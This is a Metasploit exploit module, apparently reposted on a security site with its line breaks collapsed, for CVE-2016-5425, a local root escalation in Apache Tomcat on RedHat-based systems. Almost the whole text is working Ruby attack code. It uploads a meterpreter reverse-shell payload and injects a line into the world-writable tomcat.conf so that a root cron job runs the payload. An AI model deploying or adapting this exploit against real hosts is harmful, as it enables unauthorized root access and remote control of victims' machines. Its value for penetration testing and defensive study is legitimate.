Apache Tomcat Privilege Escalation

##### This exploit sample shows how an exploit module could be written to exploit# a bug in a command on a linux computer for priv esc.####class MetasploitModule < Msf::Exploit::LocalRank = ManualRankinginclude Msf::Exploit::Retryinclude Msf::Post::Linux::Privinclude Msf::Post::Linux::Systeminclude Msf::Post::Fileinclude Msf::Exploit::EXEinclude Msf::Exploit::FileDropperinclude Msf::Post::Linux::Compileprepend Msf::Exploit::Remote::AutoCheckdef initialize(info = {})super(update_info(info,'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation','Description' => %q{This module exploits a vulnerability in RedHat based systems whereimproper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conffor Apache Tomcat versions before 7.0.54-8. This may also work againstThe configuration files in tmpfiles.d are used by systemd-tmpfiles to managetemporary files including their creation.With this weak permission, we're able to inject commands into systemd-tmpfilesservice to write a cron job to execute our payload.systemd-tmpfiles is executed by default on boot on RedHat-based systemsthrough systemd-tmpfiles-setup.service. Depending on the system in use,the execution of systemd-tmpfiles could also be triggered by otherservices, cronjobs, startup scripts etc.This module was tested against Tomcat 7.0.54-3 on Fedora 21.},'License' => MSF_LICENSE,'Author' => ['h00die', # msf module'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery],'Platform' => [ 'linux' ],'Arch' => [ ARCH_X86, ARCH_X64 ],'SessionTypes' => [ 'shell', 'meterpreter' ],'Targets' => [[ 'Auto', {} ]],'Privileged' => true,'DefaultOptions' => {'WfsDelay' => 1800, # 30min'payload' => 'linux/x64/meterpreter_reverse_tcp'},'References' => [['EDB', '40488' ],['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info['CVE', '2016-5425']],'DisclosureDate' => '2016-10-10','DefaultTarget' => 0,'Notes' => {'Stability' => [CRASH_SAFE],'Reliability' => [REPEATABLE_SESSION],'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]}))register_advanced_options [OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),]end# Simplify pulling the writable directory variabledef base_dirdatastore['WritableDir'].to_senddef tomcat_conf'/usr/lib/tmpfiles.d/tomcat.conf'enddef suid?(file)get_suid_files(file).include? fileenddef checkpackage = cmd_exec('rpm -qa | grep "^tomcat-[678]"')if package.nil? || package.empty?return CheckCode::Safe('Unable to execute command to determine installed pacakges')endpackage = package.sub('tomcat-', '').strip# fedora based cleanuppackage = package.sub(/.fcdd.noarch/, '')# rhel/centos based cleanuppackage = package.sub(/.eld_d.noarch/, '')package = Rex::Version.new(package)# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says# only 7 is effected, so we're going to go off their write-up.if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')return CheckCode::Appears("Vulnerable app version detected: #{package}")endCheckCode::Safe("Unexploitable tomcat packages found: #{package}")enddef exploit# Check if we're already rootif is_root? && !datastore['ForceExploit']fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'endunless writable? base_dirfail_with Failure::BadConfig, "#{base_dir} is not writable"endunless writable? tomcat_conffail_with Failure::BadConfig, "#{tomcat_conf} is not writable"endvprint_status("Creating backup of #{tomcat_conf}")@tomcat_conf_content = read_file(tomcat_conf)path = store_loot(tomcat_conf,'text/plain',rhost,@tomcat_conf_content,'tomcat.conf')print_good("Original #{tomcat_conf} backed up to #{path}")# Upload payload executablepayload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"vprint_status("Uploading Payload to #{payload_path}")upload_and_chmodx payload_path, generate_payload_exeregister_file_for_cleanup(payload_path)# write in our payload executionvprint_status("Writing permission elevation into #{tomcat_conf}")cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"print_status("Creating cron job in #{cron_job}")# The POC shows 2 options, a cron answer, and copy bash answer.# Initially I attempted to copy our payload, set suid and root owner# however it seemed to need 2 service restart to apply all the permissions.# I never figured out why it was like that, even chaining copying bash in, then# launching the payload from the bash instance etc. We opt for the cron# which may take 1 additional minute, and rely on cron, but is much more stablecmd_exec("echo 'F #{cron_job} 0644 root root - "* * * * * root nohup #{payload_path} & \\n\\n"' >> #{tomcat_conf}")register_file_for_cleanup(cron_job)# we now need systemd-tmpfiles to restartprint_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) dofile? cron_jobendunless succeededprint_error("#{cron_job} not found, exploit aborted")returnendprint_status('Waiting on cron to execute the payload (~1 minute)')enddef cleanupunless @tomcat_conf_content.nil?write_file(tomcat_conf, @tomcat_conf_content)endsuperendend

Source: 6300303202-BLW/eussi/moc.ytirucesxc

© 版权声明
点赞13 分享
评论 抢沙发